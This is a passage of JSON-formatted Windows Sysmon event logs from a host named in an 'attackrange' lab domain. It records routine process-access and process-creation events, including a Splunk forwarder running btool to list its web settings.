C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1590,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1591,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1592,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001057CC0200}\r\nTargetProcessId: 3820\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001057CC0200}","TargetProcessId":"3820","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1593,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.188\r\nProcessGuid: {90617006-3FE5-5F2D-0000-00101DCD0200}\r\nProcessId: 3832\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool web list settings --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-001057CC0200}\r\nParentProcessId: 3820\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool web list settings --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.188","ProcessGuid":"{90617006-3FE5-5F2D-0000-00101DCD0200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool web list settings --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-001057CC0200}","ParentProcessId":"3820","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool web list settings --no-log","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1594,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-001057CC0200}\r\nSourceProcessId: 3820\r\nSourceThreadId: 3824\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00101DCD0200}\r\nTargetProcessId: 3832\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-001057CC0200}","SourceProcessId":"3820","SourceThreadId":"3824","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00101DCD0200}","TargetProcessId":"3832","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1595,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00101DCD0200}\r\nTargetProcessId: 3832\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00101DCD0200}","TargetProcessId":"3832","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1596,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1597,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1598,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 